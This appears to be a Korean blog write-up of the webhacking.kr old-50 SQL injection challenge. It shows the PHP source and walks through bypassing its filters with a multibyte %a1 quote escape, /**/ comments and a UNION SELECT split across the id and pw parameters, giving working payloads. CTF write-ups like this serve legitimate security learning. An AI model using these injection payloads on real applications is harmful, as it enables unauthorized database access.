SQL Injection 문제이다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
소스 코드이다.
solve(50)이 뜨게 하려면 result[lv]이 3이 되어야 한다.
result는 id와 pw로 찾은 lv값이다.
for문으로 get방식의 모든 변수를 정규식으로 검사한다.
'from', 'pw', '(', ')', 공백, '%', '=', '>', '<'를 검사한다.
그리고 id도 따로 검사를 한다.
id에 union이 들어갈 수 없다.
lv이 3인 계정을 찾아서 로그인해야 한다.
그리고 addslashes와 mb_convert_encoding 함수가 있는데
addslashes는 ', ", \를 문자 앞에 \로 처리를 한다.
mb_convert_encoding 함수는 %a1~%fe문자를 해당 문자 뒤에 \ 까지 하나의 문자로 인식한다.
그래서 '로 sql injection을 하려면 %a1' 이런식으로 쓰면 '가 \로 처리되고 %a1\가 문자로 인식되서 '를 사용할 수 있다.
공백 필터링은 /**/ 이렇게 주석을 열고닫는 처리로 우회한다.
=이 필터링 되기 때문에 like를 사용해서 lv이 3인 값을 가져오려면
%a1'||lv/**/like/**/3%23
이렇게 id를 작성해주면 된다.
하지만 이렇게 보내면 wrong이라고 뜬다.
3 대신 2를 넣어주면 lv:2라고 잘 뜨니까 페이로드의 문제는 아니고 lv이 3인 값이 없는 것 같다.
그래서 union select로 임의 값을 가져와야 할 것 같은데 id에서는 필터링 당하고 있으니 pw에 넣어준다.
id=%a1'/*
pw=*/union/**/select/**/3%23
이렇게 넣어주면 된다.
/* 주석 처리 때문에 md5부분까지 전부 주석 처리되고 결국 union select 3만 남는다.
넣어주면 문제가 풀린다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
old-54 롸업(webhacking.kr) (0) | 2023.12.10 |
---|---|
old-51 롸업(webhacking.kr) (0) | 2023.12.10 |
old-34 롸업(webhacking.kr) (0) | 2023.12.10 |
old-33 롸업(webhacking.kr) (0) | 2023.12.08 |
old-32 롸업(webhacking.kr) (0) | 2023.12.08 |